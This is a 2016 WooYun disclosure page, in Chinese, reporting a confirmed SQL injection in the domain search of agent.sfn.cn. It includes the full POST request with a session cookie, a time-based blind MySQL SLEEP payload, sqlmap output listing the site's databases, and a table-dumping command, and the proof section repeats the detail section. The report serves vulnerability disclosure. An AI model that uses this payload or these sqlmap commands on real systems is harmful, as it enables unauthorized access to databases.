当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0172298

漏洞标题:中科三方某站SQL注入漏洞

相关厂商:北京中科三方网络技术有限公司

漏洞作者: 伤心的猫猫

提交时间:2016-01-24 22:36

修复时间:2016-03-10 16:42

公开时间:2016-03-10 16:42

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-24: 细节已通知厂商并且等待厂商处理中
2016-01-27: 厂商已经确认,细节仅向厂商公开
2016-02-06: 细节向核心白帽子及相关领域专家公开
2016-02-16: 细节向普通白帽子公开
2016-02-26: 细节向实习白帽子公开
2016-03-10: 细节向公众公开

简要描述:

良心厂商,良心检测!

详细说明:

站点:http://agent.sfn.cn/domain/list
登陆后在搜素我的域名处domainName过滤不严,导致SQL延时注入漏洞:

POST /domain/list HTTP/1.1
Host: agent.sfn.cn
Proxy-Connection: keep-alive
Content-Length: 37
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://agent.sfn.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://agent.sfn.cn/domain/list
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=F4119F6BA0E9BAC6348F8E8C865D3CB9; CNZZDATA1000183583=1820725789-1453566204-http%253A%252F%252F210.72.13.110%252F%7C1453598883
domainName=*&beginTime=*&endTime=*


测试注入:

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: domainName=%' AND (SELECT * FROM (SELECT(SLEEP(5)))IEmW) AND '%'='&beginTime=&endTime=
---
[10:31:24] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5.0.12
[10:31:24] [INFO] fetching database names
[10:31:24] [INFO] fetching number of databases
[10:31:24] [INFO] resumed: 2
[10:31:24] [INFO] resumed: information_schema
[10:31:24] [INFO] resumed: sanfront
available databases [2]:
[*] information_schema
[*] sanfront


随便查看一个数据库:
C:\Users\Administrator\sqlmap2>sqlmap.py -r 1.txt -D "sanfront" --tables

2.png


好了,点到为止,数据表就不跑了,
乌云白帽子是良心白帽子。

漏洞证明:

站点:http://agent.sfn.cn/domain/list
登陆后在搜素我的域名处domainName过滤不严,导致SQL注入漏洞:

POST /domain/list HTTP/1.1
Host: agent.sfn.cn
Proxy-Connection: keep-alive
Content-Length: 37
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://agent.sfn.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://agent.sfn.cn/domain/list
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=F4119F6BA0E9BAC6348F8E8C865D3CB9; CNZZDATA1000183583=1820725789-1453566204-http%253A%252F%252F210.72.13.110%252F%7C1453598883
domainName=*&beginTime=*&endTime=*


测试注入:

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: domainName=%' AND (SELECT * FROM (SELECT(SLEEP(5)))IEmW) AND '%'='&beginTime=&endTime=
---
[10:31:24] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5.0.12
[10:31:24] [INFO] fetching database names
[10:31:24] [INFO] fetching number of databases
[10:31:24] [INFO] resumed: 2
[10:31:24] [INFO] resumed: information_schema
[10:31:24] [INFO] resumed: sanfront
available databases [2]:
[*] information_schema
[*] sanfront


随便查看一个数据库:
C:\Users\Administrator\sqlmap2>sqlmap.py -r 1.txt -D "sanfront" --tables

2.png


好了,点到为止,数据表就不跑了,
乌云白帽子是良心白帽子。

修复方案:

求多给点rank。

版权声明:转载请注明来源 伤心的猫猫@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-01-27 08:57

厂商回复:

正在处理。

最新状态:

暂无


漏洞评价:

评价

  1. 2016-01-25 09:18 | 伤心的猫猫 ( 普通白帽子 | Rank:115 漏洞数:32 | @sangfor,@qq,@alibaba,@baidu)

    感谢人民群众。。。